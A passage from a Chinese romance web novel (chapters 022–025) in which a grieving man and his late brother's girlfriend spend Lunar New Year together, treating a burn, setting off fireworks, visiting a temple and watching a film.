走出药店,顶着寒风,她比来的时候更快,跑到停车的地方。
她刚上车,娜娜跟贺岩异口同声道:“买了什么?”
“没什么,一点小东西。”她平复急促的呼吸,回道。
万年踩下油门,继续去找贩卖烟花的店铺,娜娜低头在手机上找可以放烟花的地方。车厢再次恢复安静,贺岩仍然时不时打量闻雪一眼,有心想追问,却又担心让她想起伤心事。
在这样全家大团圆的日子,她应该想念她逝世的亲人。
开了十多分钟,车辆在老城区一个不起眼的店铺停下,万年和娜娜下车,车内只剩下他们两个人时,闻雪才鼓起勇气开口道:“你把手伸过来。”
贺岩一头雾水,不解其意。
“受伤的那只手。”她补充。
他错愕地看着她,刚才那个一闪而逝的念头折返回来,直直地砸中他。不可思议的同时,心里慢慢升起一种说不清道不明的情绪,他完全没放在心上的烫伤,和他过去受的伤一比不值得一提的小伤,她却在意了。
几分钟后。
昏暗的车厢里,贺岩的右手横在闻雪面前,她垂下脖颈,动作小心轻柔地用棉签为他上药。
这还叫没事吗?
棉签碰到水泡时,她都能感觉到,他的手在轻微地颤抖。
22 022.
车外,万年跟娜娜正热闹地在老板的推荐下挑选烟花,无暇顾及还在车上没下来的两个人。
车内安静到自成一方小天地,只能听到贺岩略显沉重的呼吸声,他注视着闻雪拿着棉签的手,不知道是不是在紧张,她的手似乎在不受控制地轻轻颤抖。
抖什么。
他又不疼。
他平静地挪开眼,视线落在被扔在一边的玩偶,但药膏的气息在相对密闭的车厢散开,萦绕在鼻间,挥之不去。
闻雪专心致志地给他擦药,她以为他颤抖是疼,于是动作更轻,涂好药后,她也如释重负,感到放松,总觉得完成了一件大事。
“好了。”
她语气轻快地说,看着手中这根棉签犯难,贺岩仿佛知道她在想什么,不由分说地伸手接过棉签,丢下一句“我去扔”便推开车门下去,这次不知道怎么回事,关门的力度有些重,砰地一声,闻雪都被震了个莫名其妙。
回过神来,她整个人向前倾,从扶手箱里找到一支黑色软笔,借着窗外的光线,在药盒上一笔一划地写着“4~6个小时涂一次^^”,又呼气吹了吹,让笔迹尽快干透。
深夜的西城气温冰寒。
贺岩将棉签扔进垃圾桶,习惯性地从口袋里摸出烟盒,正要点燃,余光瞥见几步以外的车,隐约能够看到坐在后座的模糊身影,他迟疑了一瞬,又将烟塞了回去,郁闷地吐出一口气。
“岩哥,帮忙搭把手!”
娜娜见贺岩站在一边无所事事的样子,高声喊道。
贺岩不着痕迹地看了眼车内,见后座车门有敞开的迹象,他抬手做了个阻止的手势,让她别下车吹风。
闻雪大部分时候都很听他的话,他不让她下车,她马上关好车门。
三个人将买的大大小小的烟花搬到后备厢,不一会儿都被堆满,闻雪转身好奇地张望,震惊道:“买这么多吗?”
娜娜拍拍衣服上沾到的灰,开心道:“过年嘛!”
贺岩再次回到车上后,已经整理好了突如其来的复杂情绪。刚刚他的确有短暂的不自在,在他的生活中,他愿意接受的关心少之又少,因为不管是人情还是别的什么感情,一旦受了都要还。
他不想欠太多。
而不管是弟弟贺恒,还是亲如兄弟的吴越江,他们都是男人,男人对男人能细致细心到哪里去?
退一万步说,就算他们愿意对他细腻,他也不要,他嫌肉麻。
闻雪给予的关心,就像水泡上的药膏,似是覆在皮肤上,黏糊到他想立刻拿纸巾擦干净,但他又清楚地知道,涂了药会好得更快,他便只能僵硬着右手,任由药膏一点点渗进。
前面的娜娜跟万年叽叽喳喳地聊天,后座的闻雪悄悄地探出手,将药膏还有棉签往贺岩那边递。
贺岩很想忽视,垂下眼眸,她的手都快伸到他眼皮子底下了,他不得不服气,无奈地接过,收进口袋里,心里却想,就这么点水泡她都在意成这样,要是她当初看到他另一只手上的疤是怎么来的,流了多少血,估计要叫救护车来把他拖走。
闻雪看他利索地收了药膏,唇角翘起。
“闻雪,你说是不是?”娜娜扭过头来问道。
“啊?”
闻雪压根就没仔细听,但她在这里待了一段时间,竟然也学会了糊弄,心虚地回道:“是……”
…
城区里能够放烟花的地方少之又少,娜娜在网上查到,很多人去了一处还未完全开发的公园,据说非常热闹。
他们到的时候,原本空旷的地方停满了车,全都是来放烟花的年轻人。
咻咻咻——
一朵一朵的烟花绽开,点亮了夜空。闻雪跟娜娜都仰头望着,蹭了别人的烟花好一会儿,才想起来他们也买了,娜娜使唤万年将买的烟花都搬下来放在前面的空地,又兴奋地从他的口袋里找到打火机。
闻雪右手一把仙女棒,左手空空。
贺岩沉默地在她身后观望,见她时不时向娜娜借火,实在看不过眼,走上前,像是不耐烦似的把自己的打火机塞给她,“拿着。”
闻雪低头看看掌心多出来的塑料打火机,很轻,也很廉价,上面还印着某某烧烤店的名字地址,再想想万年那支很有质感的金属质地打火机,不禁陷入了沉思中,他们两个究竟谁是老板,谁是员工。
“闻雪,快来,”娜娜喊道,“这个超好玩,能在地上转好几圈!”
“来了!”
贺岩抱胸,跟万年站在车头看她们玩。
闻雪两只手都举着烟花棒,她眼睛险些忙不过来,左看看,右看看,难掩惊喜。贺岩凝视她数秒,别开眼望向别处,有几个年轻人也想凑过来一起玩,其中有个皮的,疯狂地甩着手中的像鞭子一样的烟花,火光四溅,见闻雪吓得要跑,他越发来劲,还非要追上来逗她玩。
贺岩听到她的惊呼声,迅速地转过目光锁定她仓皇跑来的身影。
他没多想,大步朝她走过去,长臂一伸,将她护在身侧,拧紧眉头,绷起脸看向那个年轻男生,眉宇之间压着火气。
男生干巴巴解释:“开个玩笑。”
贺岩目无波澜地看着他,语气带了些凉意,“我也想跟你开个玩笑。”
男生一看他就是个不好惹的硬茬,讪笑着后退几步,转头就跑。
闻雪探出脑袋,看那个讨厌的男生走了,舒了口气,嘟囔道:“吓死我了。”
她不是怕别的,这种人她见多了,该怎么解决她也熟,但她担心那个火光溅到她的新衣服上,一烫就是一个洞,难道能逮着本来就不讲理的人赔钱吗?
这件蓬蓬的新羽绒服很保暖,也很贵,是她所有衣服里最贵最贵的一件,今天是第一天穿,她起码还要穿十年才能回本。
还是她考虑不周,在出门前应该换旧衣服。
“我不玩了。”她闷声道。
一开始贺岩以为她是被那个毛都没长齐的小子吓到,等看到她退到远远的地方,打开手机的手电筒以怪异的姿势检查羽绒服时,恍然大悟,敢情是心疼新衣服,他走过去,制止她,“别把脖子给扭了。”
闻雪怏怏不乐,“我不知道衣服后面有没有破洞。”
这是她的新衣服啊。
“多大点事,破了再买。”
“……”闻雪更不高兴了,她想了想,“能帮我拍张照吗?”
贺岩静默,点了下头,拿出手机,正要打开相机,她在旁边小声提醒,“有点黑,把闪光灯打开再拍。”
闪光灯?
他嗯了声,沉吟:“灯在哪里,怎么开?”
闻雪愣愣地看向他,确定他是真的疑惑,而不是开玩笑时,她一下没忍住,清亮的眼眸弯起,盛满了笑意。刚刚的恼怒被他这句话一扫而空。
贺岩见她笑个不停,还越笑越大声,面露尴尬。
他确实不太懂电子产品,也不热衷,手机对他的作用仅仅只是收发消息,接打电话而已。
他手机相册里的照片都没几张。
“还拍不拍?”他问。
“拍,哈哈哈。”
“再笑不拍了。”
闻雪凑过来,踮脚,帮他开了闪光灯,然后往前走几步,“可以了。”
贺岩的手指已经按下了快门。
不过拍的是她回头的一幕,还有点糊。
他敛住心神,重新拍了好几张。闻雪紧张地放大照片,确定新衣服还好好的之后,再次眉开眼笑,人菜瘾大,又高高兴兴地去玩仙女棒,丝毫忘了把他拍的几张照片删掉。
贺岩也忘了,手机锁屏揣进口袋。
他们买的烟火多,但消耗得特别快,不到一个小时,后备厢空空如也。
娜娜被冻得脸都红了,依然意犹未尽,拿出手机看看时间,还不到十一点钟,她提议道:“来都来了,要不我们在这里等到零点再回去吧?”
万年一脸犹豫,这事他做不了主。
贺岩无所谓,但闻雪已经被冻得将帽子都盖了起来跺脚取暖,真要在这等到零点,搞不好明天就得感冒,他点头说,“行。”
娜娜大喜过望,刚想大声吹彩虹屁岩哥就是世界上最英俊的男人,紧接着这个世界上最无情的男人又道:“那你们慢慢等,我们先回去了。”
“??哥不是?”
娜娜呆在原地,眼看着闻雪一步三回头往停车方向走。
小情侣被冻了个哆嗦,面面相觑,只好窝囊地小跑着跟上去,坐上车后,娜娜没好气地说道:“闻雪,你管管你哥啊。”
贺岩端坐在后座,手机振动,又是群发祝福消息。
他一条一条翻着,屏幕发出的光照着他的脸,表情平淡,好像被吐槽的人不是自己一般。
闻雪柔声笑道:“管不了。”
他翻消息的手指顿住,无声地摇头笑了下。
23 023.
四人在零点到来之前回了筒子楼。
贺岩洗漱之后掀开被子躺上床,瞥见床头柜上的药膏跟棉签,这才发现药盒上有她写的字,也有她画的笑脸,起初他的确不太习惯这样细致的关心在意,因为自父母去世后,他再也没有得到过,太过陌生,陌生到如果对方不是闻雪,是别的什么人,他的第一反应绝对是立刻推开。
因为不能推开,现在回味过来,不习惯归不习惯,却不能否认被人如此记挂的感觉还不赖。
他靠着床头,里里外外研究药盒好几分钟,连说明书都没放过,看得津津有味,心念一动,随手拍照发给联系得最为频繁的吴越江:【[图片]】
吴越江也是夜猫子。
这会儿窝在沙发上打盹守岁,手机一响,父母跟妹妹齐刷刷地看向她,目光炯炯。
他哂笑,晃晃手机屏幕,“贺岩。”
三人顿觉失望不已。
都几点了,男的跟男的之间有什么好聊的,无聊。
吴越江哭笑不得。还记得读书的时候,父母严防死守,他稍微跟女同学走近一点,他们都如临大敌,生怕他早恋,继而成绩一落千丈,考不上大学,然后去工厂打螺丝钉,现在倒好,风水轮流转,他们三天两头旁敲侧击他有没有对象。
他笑过后,点开贺岩发过来的图片,定睛一瞧,更是一头雾水:【发错了吧】
贺岩回复:【烫伤了】
吴越江不解:【你在跟我撒娇吗[呕吐][呕吐]】
贺岩似乎网络不好没看他的消息,仍然自顾自地回:【闻雪买的】
吴越江总算明白他的险恶用心,僵硬两秒,冷笑连连:【我也有妹妹】
分享完这件事后,贺岩表演原地消失,不再回复,把吴越江晾在一边,气得他伸腿踢了踢在剥橘子的妹妹,使唤道:“给我泡杯牛奶,快去。”
“没牛奶,有敌敌畏,你喝不喝?!”
不出意外,兄妹俩又是一顿互殴。
大年初一,注定没办法睡懒觉,天还没亮,远处便传来此起彼伏、噼里啪啦的鞭炮声,西城气温陡降,细雨中夹杂着雪籽,四个人挤在厨房里吃早餐,是万年凌晨起来炖了几个小时的老鸭汤,热气腾腾,清淡又可口。
闻雪默默在心里感慨,万年好贤惠。
娜娜喜气洋洋,脸也红扑扑的,“我们等下去看电影,上映了好几部贺岁片,今天打算就泡在电影院啦,你们要不要一起去?”
闻雪正在奋力解决贺岩夹给她的大鸭腿,没空回话。
万年也热情地邀约,“岩哥,一起去吧,我来买票。”
“不用。”贺岩缓缓摇头,没说得太明白,“我还有事。”
万年跟他认识许久,略一思索,便猜到他口中的“有事”是什么事,也不再游说,娜娜却不懂,张了张嘴,话还没来得及说出口,被万年用眼神严肃提醒,赶忙噤声。
两人牵着手下楼时,娜娜哼道:“你刚才干嘛那么凶!”
“岩哥要去庙里。”万年捏捏她的手,叹道,“你懂的,我不想提让岩哥伤心的话。”
这里的每一个人,全都默契地不提贺恒这个名字,他们并没有遗忘那个少年,只是,逝者已矣,要为活着的人着想,像岩哥这样的人,他不会,也不愿意让人看他心里的伤疤。
而他们能做的只有不去窥探。
娜娜短促地“啊”了声,心里闷闷的。
她当然见过贺恒,还不止一次,印象中是清俊的大学生,笑起来的样子很阳光,很轻易地令人心生好感,但他一点都不高傲,对他们每个人都很客气也有礼貌,她知道他的事后,都哭了好几场。
老天太不公平,为什么总是要欺负他们这些命不太甜的人。
走出楼道后,冷风拂面,她缓过神来,“那我们叫闻雪一起吧,瞧我这脑子,就是被你瞪的,搞得我都忘记问她了!”
万年笑笑,搂着她的肩膀,温声道:“下次吧,她身体不太好,天气又这么冷,岩哥肯定不放心。”
“那行吧……”
闻雪吃得很撑,揉揉肚子,回了房间充上热水袋,顺便回复亲戚朋友的问候消息。她最近又有了分享欲,正给杨思逸发拍到的烟花照片,富有节奏的敲门声传来,尽管她没关门,但以贺岩的分寸感,他也只会在门口站着。
果然,熟悉的高大身躯立在门前,仿佛要将凛冽的寒风也为她全都挡住。
“我要出去一趟,不远,郊外的庙里。”贺岩斟酌着词汇,音色低缓,“不确定什么时候回,但晚上一定会回,我给一家酒店餐厅打了电话,他们中午跟晚上都会派人来给你送饭,我留的是你的号码。”
似乎是担心她会害怕,他又沉稳补充,“放心,酒店经理是我熟人。”
闻雪晃神,唇角的笑意微微凝固,他后面说的那些话她没听,所有的心神都被第一句牢牢攫住,她怔怔地点了点头,“好的。”
“我先走了。”
贺岩交待完以后往楼道走去,一步又一步,他余光扫过贴在某个房门墙上的春联,做事细致认真的人将它贴得很牢固,任由此刻寒风呼啸而过,依然纹丝不动。
他不受控制地回头,她还怔在门口,不知道在想些什么,像是被人遗忘在原地,茫然地抱着热水袋,他怀疑,如果他就这样走了,她会一直傻乎乎地站着。
闻雪眉眼低垂,视线失神地游移着。
倏忽,慢慢远去的脚步声由远及近地传来。
她错愕抬眸,心口一跳,没想到贺岩又重新折返,他大概不怕冷,雨夹雪的天气还是穿着一件不算很厚的大衣,四目相对,他语气低沉,“你要不要一起去?”
不等她回答,他自己就很纠结,偏头看一眼外面灰蒙蒙的天,眉头紧蹙,似是自言自语,“天太冷了。”
闻雪眼睛都亮了,不假思索道:“要!”
贺岩的目光又转了回来,定在她那巴掌大的脸上,“得走好长一段路,还是台阶。”
别说天气恶劣,就算是大晴天,他也不觉得以她现在的体力能够撑得住。
“没关系的。”她很着急,下意识地朝他走近一步,“我穿厚点就好,真的真的。”
“我在楼下等你。”
贺岩说完这句话,像是担心自己会改变注意,转身匆匆离开,事实上,在他问她要不要一起去时就后悔了,他抬手搓搓脸,已经开始心烦她这趟要是折腾感冒了该怎么办。
他是没事找事干。
闻雪顾不上难受,跑进屋子,她本来就穿得很厚,围上围巾,换上雪地靴,还觉得不够,把耳罩也罩上,整个人裹成球,往保温杯里灌满热水后,迫不及待地下楼,贺岩的车还没走,大喇喇地怼在楼道前,她松了一口气,快步拉开车门,飞快上车坐上副驾,扣上安全带,不给他反悔的机会。
贺岩的手懒散地搭在方向盘上,侧目打量她的穿着,勉强满意。
闻雪却注意到他手背的水泡,轻声道:“还是要涂药,不然容易感染,也会留疤。”
见他一点儿都不在意,她秀气的眉毛皱起,回忆药店店员的话,“如果情况严重,还要去医院。”
贺岩无奈:“大过年的,说点吉利话吧。”
要是这么点烫伤能让他进医院,他早死千百回了。
闻雪双手绞在一起,人在屋檐下,不得不低头,“哦,那……新年快乐。”
贺岩看她不情不愿地说新年快乐,哑然失笑,点了点下巴,“行,就当你给我拜年了,打开。”
“什么?”
“打开扶手箱。”
闻雪只好侧身,扶手箱弹开的一刹那,她呆了呆,除了一些杂物以外,最显眼的是一个鼓鼓的红包,她惊讶地看向他,他已经收回视线,正专注地转动方向盘,驶出筒子楼,“给你的压岁钱。”
她嘴唇动了动,懵了。
压岁钱,不都是长辈给晚辈吗?
“听话,拿着。”
“要是不拿,你会赶我下去吗?”她忐忑问道。
他煞有介事地点头,“提醒我了,是个不错的办法。”
闻雪懊恼,看看他,又低头看看大红包,当它是烫手山芋,还是拿起来,她都不用数,看厚度跟份量就知道是很多钱,“太多了。”
“那就慢慢用。”
贺岩顿了顿,“怎么一个两个都这样,它是钱,又不咬人。”
闻雪知道他说的是谁,她小声为“一个两个”辩解:“因为‘一个两个’知道你赚钱很不容易,不想花太多。”
“……”
贺岩瞥她一眼,不说话了。
他赚钱,就是给“一个两个”花的。
贺岩去的寺庙并不是西城本地香火旺的那几个,算是机缘巧合,上辈子贺恒走后,他有很长一段时间都觉得人生很没有意思,他先是送走了年轻的父母,又送走更年轻的弟弟,这稀烂的人生,他不想再过。
某天晚上,他漫无目的地乱逛,不知不觉就来了山脚下。
他把车停好,蹲在一边,难受到几乎快撑不下去。
突然来了个年纪轻轻的和尚,找他换零钱买可乐喝,就这样聊了几句,也算投缘。
一来二去,他被“推销”,成为了那座庙里的香客。
贺岩将车停好,环顾四周,还是有些不确定,语气不自觉地放轻,是在劝她,也是在同她商量,“要不你在车上等我?”
“不要。”
贺岩听着这两个字头就疼,闻雪再次戴上耳罩,解开安全带下车,外面飘着雨雪,她撑着一把折叠小伞等他。
他没辙,只好熄火下车,拒绝她的撑伞,他打开后备厢,拿出一把黑色长柄伞,砰地一声撑开,伞很大,再瞧瞧她,这会儿风雪交加,她那把白底印着小蓝花的伞,在他看来跟纸糊的玩具没区别,什么都遮不住,雨丝雪籽都扑在了她白净的脸上,迅速化为水珠坠在睫毛上。
他叹气,走到她面前,强势地跟她换了伞。
两人一前一后踏上长长的楼梯。
闻雪不认识路,这次她跟在后头,和他保持着几级台阶的距离。
她举着黑色长柄伞,很厚实,伞面很大,牢牢地挡住风雪,她抬起眼眸,视线飘落在他身上,明明很好看的雨伞,被他撑着显得很迷你,这画面违和又滑稽,她扑哧一笑。
前面的人听见了。
眼看着被他抓包,她压下伞面,慌忙躲起来,看不见我,看不见我。
贺岩回头,不动声色地看她两眼,只觉得好笑,她跟个蘑菇似的。
细雪寒风中,仿佛看不到尽头的蜿蜒山路,他带着她往前走。
24 024.
爬到一半,闻雪渐渐体力不支,她其实是个很能忍耐各种情绪的人,抿紧唇,一言不发地跟紧脚步,甚至都不敢大口呼吸,就怕一旦泄气,会很吃力。
“在这休息下。”
隔一段距离,便有供行人休息的长椅。贺岩停下脚步,有些犯难,椅子湿透,还有落叶灰尘,根本没法坐,闻雪看出他的意图,克制着喘气,“没、没事的……”
她不禁苦笑。
在贺岩来找她之前,她都没有意识到身体变得糟糕意味着什么。
或许正应了那句话,越年轻,越挥霍。
过去她运动细胞也不算发达,但那个时候,她没有现在瘦,能逛街逛好久都不累,也能在天气很好的时候爬山、散步、骑车。
如果人死去后灵魂不灭,如果贺恒一直就在她的身边,他应该会很生气。
是她不对,是她没有好好爱自己。
“休息十分钟。”贺岩以不容置疑的语气说。
闻雪总算呼呼喘息,停下来后便觉得有些热,她抬手想扯开围巾,被他沉声制止,只好退而求其次摘下手套,这次他没说什么。急促的呼吸慢慢平缓,她无所事事,贺岩低着脑袋在回复消息。
他这段时间好像特别忙。
不是在收发消息,就是在接打电话。
她凝神注视他一会儿,又移开视线,后知后觉地发现这里的风景很好,清幽寂静,远离尘嚣,随着她仰头看向两边高大的树木,伞面倾斜,她呵出一口热气,情不自禁地伸出手去接雪籽。
砸在手心,像松针的刺感,有些痒。
她唇角抿开一抹浅浅笑意。
贺岩回了工作上的消息后,转转有些僵硬的脖子,目光不经意地掠过身侧的人,定在她水润清澈的眼眸,所有见了闻雪的人,对她印象最深的应该就是她的眼睛。
哪怕有忧愁,眼神仍然是干净的。
现在的她是这样,上辈子八年后的她仍是这样。
她很了不起,从来都没有被打倒。
十分钟后,他们再次启程。如果没有闻雪,贺岩早就已经到了,但即便如此,他也不觉得她是负担,庙里香火不算很旺,尤其是今天天气糟糕,来上香的香客更少。
贺岩简单交待叮嘱她后,在小和尚的带领之下,他去了别处。
今天来,除了烧香,他也想把抄好的经书供奉起来。
闻雪怀着一颗虔诚的心,队伍并不长,没一会儿就到了她,和尚摩挲冻僵的手,问她求什么符,她对卖得最好的姻缘啊事业啊都不太感兴趣,“我要保佑平安的。”
她有些怀疑,只要六块钱,真的灵吗?
攥着都开始掉墨的平安符,她越发不确定了,但买都买了,还是相信它是灵验的吧,垂眸思索片刻,她进了一间供着菩萨像的屋子,双手合十,掌心是平安符,跪在蒲团上,闭着眼睛默默祈祷。
希望,他平安,平安,平安。
贺岩过来寻她时,看到这一幕,嘴角抽了抽。
她还真信?
他该怎么告诉她,私心里他根本不相信世上有神佛,一点儿都不信。她千万别被他带偏了,她该好好学习。
不过心里想着,他也没有打断她,只是倚着柱子,严肃地望着她,开始琢磨要不要让她回去后看看走进科学什么的。
闻雪结结实实地磕了三个头,偏过身,将那道平安符郑重其事地放进她的吐司包夹层。
贺岩:“……”
完了,她还求上符了。
闻雪踏过台阶,刚走出来就撞上他,她愣了愣,“这么快?”
她还以为他要跟那个年轻的和尚再聊聊佛学,没想到十几分钟他就回来了。
“吃过斋饭再下山吧。”贺岩复杂地看着她,垂下眼,又看向她那个包。
“嗯!”
庙里人手有限,也不是所有人都能吃上斋饭,贺岩比较特殊,因为他以贺恒的名义捐了不少善款,算是榜上有名的香客,和尚们都认识他,听说他想吃饭,赶忙招呼厨房多做了些午饭。
贺岩跟闻雪没有跟他们一起吃饭,落座于别处。
或许是过年,他们分到了两碗热气腾腾的素饺子。
闻雪见他埋头吃饺子,一口一个,吃得多又快,她还没动筷,他已经吃了三四个了。
贺岩专心吃饺子,还在想别的事,突然碗里多了好几个饺子,抬头一瞧,她正将她碗里的饺子夹给他,他抬手阻拦,“你不吃?”
“太多了。”她小心地看他一眼。
“够了。”他端起碗换了个方向,“我也不爱吃素馅。”
闻雪听了这话,一脸欲言又止。
贺岩:“有话就说。”
“没什么。”她声音很轻,带着试探,“之前听越江哥说,他说……”
她支支吾吾的,但贺岩扫她一眼,就猜得到她想说什么,“他是不是跟你说我以后要出家?”
他每跑一趟寺庙,吴越江就苦大仇深一分。
闻雪缓慢点头,“是吗?”
“别听他胡诌。”贺岩半真半假地说,“我吃不了素,没肉不行,而且——”
“而且什么?”她追问。
她是真的有点担心他。她好想劝他,信这个、抄经书,把它当做寄托可以,但最好不要太过沉迷。
他还这么年轻,他应该走出来,然后有辉煌的未来,何况贺恒的死跟他没有关系,他已经是她见过的最好的哥哥了,她相信,在贺恒的心里也是这样想的。
“而且现在当和尚有门槛。”他忽悠她,“得有大学学历。”
闻雪睁圆了眼睛,“真的吗?”
她还是第一次听说。
贺岩笑,“还有什么想问的,都问吧。”
“那我问了?”听出他没有出家的意思,她悄悄舒了一口气,脸上多了笑容,“就是那个ktv的领班……”
“谁?”他没听清,身子前倾,离她更近。
“没什么没什么!”
闻雪不想让自己显得太八卦,急忙收声,老老实实坐好。
贺岩却懂了,古怪地看她,“谁告诉你的?”
“我自己看到的。”她嗫嚅。
“没有的事。”
“嗯嗯。”
“赶紧趁热吃,吃完了就走。”
闻雪双手端起碗,喝了口饺子汤暖身。这是她过过的最奇怪的一个年,但又很有意思。素饺子也别有一番滋味。
吃饱喝足,两人在烟雾缭绕中下山离开。
下山比上山要轻松许多,为了证明自己不是体力渣,这次闻雪抢先一步走在前面,举着黑色的长柄伞,轻快地迈下台阶,下午时分,上山的香客明显多了起来,每一个经过贺岩身边的人,都忍不住回头看他一眼。
毕竟一个一米八几的硬朗大高个,撑着一把小碎花伞,实在惹人注目。
闻雪问:“要换过来吗?”
贺岩语气没有起伏,“不用,你看路。”
…
本来在贺岩的计划中,没有看贺岁片这一项,他两辈子加起来,进电影院的次数一只手数得过来,还是跟吴越江一起看的。但今天情况特殊,他带闻雪出来了,天色尚早,他不想她这个年过得没滋没味,但他知道的娱乐活动少之又少,能想到的只有看电影,沿路开着,经过大商场,汇入辅路,排队驶进地下停车场。
影院在四楼,过年商场人挤人,两人艰难地乘坐扶手电梯上来,见影院门口也都是人。
闻雪观察他不耐的神色,小声建议,“要不,我们回去吧。”
实际上,贺岩很想买一张票让她进去看,他在外面等她都行。
他对看电影没有半点兴趣,特别是人这么多,轻易地勾起了他不太愉快的回忆,那时他二十不到,吴越江放暑假来找他,两人又没别的去处,买了两张便宜的电影票进去吹空调睡觉,结果他旁边坐了素质还不如他的人,一会儿嗑瓜子,一会儿讲电话,吵得他心浮气躁,说了几句,效果甚微,忍无可忍,无需再忍,于是拍拍那人的肩,让对方跟他出去聊聊人生。
从那以后,吴越江再也不提一起看电影这事了。
“你在这等我,我去买票。”贺岩示意她站在人少的地方等她,接着钻进人群里排队买票。
闻雪时不时踮脚,伸长了脖子看向他那边。
在人群中找到贺岩是一件很容易的事,因为他很高。
等了十几分钟,贺岩回来,左手托着一大桶爆米花,右手拿着杯可乐,以及两张没有在一起的电影票,他解释,“票快卖完了,没剩几个座位。”
闻雪接过电影票,看了眼座位,还是最后一排。
她是七号,他是九号。
中间隔着一个人。
检票进了放映厅,贺岩让闻雪先进去,他要接个电话,她应允,抱着爆米花对着票上的位置入座,没一会儿,厅内都快坐满了,闻雪感觉到一道阴影落下,还以为是贺岩回来了,仰起脸,是一个戴眼镜的陌生男人。
对方微愣,墩地一下坐下,攥紧了手中的票,眼神偶尔飘向闻雪,见她没有跟前后左右的人讲话,还以为她和自己一样。
贺岩是电影开始时进来的,他俯身,低声对其他人说一句借过,总算到了自己的座位,还没坐稳,便听到身侧的男声隐隐约约飘过来——
“我这杯奶茶还没碰,刚买的,还很热……哎,另一部目前票房最高的你看过没?下一场好像是六点半,你……”
他偏了下头,确定八号这小子是在对闻雪说话,“……”
闻雪是一个在生人面前话很少的人。
她沉默地看向荧幕,似乎已经习惯了这种搭讪,连“嗯嗯”都没有。这是贺恒走后她最明显的改变,对异性的搭讪和追求,她麻木到最基本的礼貌也维持不了了。
八号的年轻男人略作停顿。
他越挫越勇,酝酿出另一个话题,话都到嘴边了,黑暗中,一只手臂突然横在他面前,他惊得嗬了声,下一秒,这只手臂擦过他,伸向他旁边这位小姐抱着的爆米花桶,抓了一把。
他顺着扭头看过去,对上贺岩幽邃的眼眸。??
贺岩若无其事地收回手,往嘴里塞爆米花嚼了嚼,闻雪倾身,将爆米花桶递给他,他摆了摆手,不吃了。
八号顿时如坐针毡,压低声音,算是补救,“哥们,我跟你换个位置吧。”
贺岩平静:“哥们,别说话了,好好看电影。”
“……哦。”
最后一排总算静了下来。
闻雪后知后觉地发现贺岩吃爆米花的用意,她侧过头看她,仿佛察觉到了她的注目,他虽然没有跟她对视,但抬起手,指了指前方的大荧幕,提醒她专心看电影。
她赶紧坐好,面视前方,抿唇笑了下。
25 025.
在贺岩提醒之后,闻雪便将注意力放在电影上。
这部喜剧贺岁片笑点密集,她都被逗乐了几次。前排的人靠在一起,似乎很小声地在交流观影感受,她不由得微微向前倾,侧过头看向贺岩所在的位子,却是一愣,几乎所有人沉浸在荧幕故事里,他是特例,在笑声迭起的影厅里,他单手支着脑袋,居然睡着了……
贺岩无法保持轻松的态度欣赏任何电影,优质的,粗制滥造的,搞笑的,悲伤的,他通通不感兴趣。
影厅里人多,聚在一起很暖和,座椅也还算舒服,连带着男女老少咯咯咯的笑声,在这样的环境之下都成为了催眠的白噪音,他本想闭目养神,一不小心陷入熟睡。
他很累。
他的疲倦并不比闻雪少,只是他从未表现出来。
闻雪静静地看了他一会儿,目光轻移,这是她从进来这里到现在,第二次看向八号先生。
八号快乐地吸着奶茶,笑得前俯后仰,忽然敏锐地感觉到了一道视线,他循着望过去,在昏暗的最后一排,跟四十分钟前令他单方面坠入热恋又迅速失恋的闻雪四目相对。
他不由自主地咽下嘴里的奶茶,糟糕,心又动了。
闻雪有些为难。
她知道自己有点唐突,之前他跟她搭讪,她不理会,现在如果向他提出更换座位,或者让他帮忙将围巾搭在贺岩身上,是不是很过分?
八号见她欲言又止,惊了一瞬,下意识地转动脖子,看向坐在他另一边的男人,见这不要命的勇士陪女朋友看电影居然都敢睡着,顿时福至心灵,把声音压到最低,“换座位吗?”
她眼睛一亮,轻声问道:“可以吗?”
“……可以!”八号立即点头,心更酸了,好消息女神跟他说话了,坏消息女神是想换座位,离她的男朋友更近。
闻雪松了一口气,冲他感激一笑,“谢谢你。”
“不、不客气。”
两人猫着腰起身,以最快的速度换了座位。闻雪就这样悄无声息地坐在了贺岩的身旁。
他呼吸很浅,睡得很熟。
荧幕光忽明忽暗,照在他高挺的鼻梁上落下阴影。
他不怕冷,她却担心他会着凉。如果说过去他在她心里是经过千锤百炼的钢铁,那么,经过这段时间的相处,她发现他其实是个普通人,尽管他的意志力比她见过的人都要坚韧,他也是会受伤,会疼的普通人。
她将围巾展开,侧过身,轻轻地搭在他腿上。
不知道有没有用,但或多或少都有点温暖吧。
不要着凉,不要生病。
做完这件事后,她心里也放松了些,再次看向荧幕,跟着里面的主角一起笑。
一部电影两个小时,差不多快到尾声时,贺岩才睁开眼眸,感觉到脖子肩膀有些僵,他试着活动下,头往边上靠,不期然地嗅到一股清幽的气息,漫不经心地抬眼,他们靠得很近,近到首先看到的是白净细腻的脸颊。
他目光一顿,她什么时候过来了?
闻雪都没发现他醒了,她目不转睛地看着前方,或许是剧情牵动着她的心,她的手抓了几颗爆米花,呆呆的,都忘记了吃。
贺岩收回视线,瞥见铺在他腿上的毛绒绒围巾,心下了然。
难怪他会被热醒。
电影结局,片尾曲还未放,已经有不少人起身往外走,赶下一场,一时之间闹哄哄的,闻雪伸长了脖子想看看有没有彩蛋,够得正吃力,感觉到了有什么东西在腿上,低下脑袋一瞧,是她的围巾。
她怔住,偏过头,贺岩在翻手机。
他什么时候醒的?
还是旁边的八号先生出声,引得他们齐齐看过去。
八号手拿着喝完了的奶茶杯,勉强挤出一抹笑容,“麻烦借过。”
闻雪跟贺岩同时收腿,让出位置。等影厅的人都走得差不多,过道也没那么拥挤后,两人才出去,贺岩在前头,闻雪落后几步,眼看着他从大衣口袋搜出电影票根随手要扔进垃圾桶里,她急声制止,“给我吧。”
贺岩闻声回头,扬扬票根,不解道:“你要这个?”
电影都看完了,还留着票做什么?
“嗯。”闻雪朝前走几步,伸手接过,将两张票叠放在一起,当是什么宝物似的,珍惜地放进包里,察觉到贺岩的注视,她笑笑,“我很喜欢收集这些东西。”
电影票,景点门票,车票,这些是回忆,她都会保存起来。
而且她愿意赋予这场电影一点特别的意义,比如,它不仅仅只是贺岁片,还是她失去贺恒后的看的第一场电影。
贺岩:“……”
他虽然不理解,但看她如此郑重其事地收好票根,眉梢微扬,心情不错地问道:“还要不要看别的?”
反正来都来了,看一部还是看两三部对他来说没区别。
只要她高兴就好。
闻雪拉好包包拉链,摇摇头,“不要了。”
她都能预想到,再看下一场,他还是会睡觉,夏天也就罢了,冬天不行。
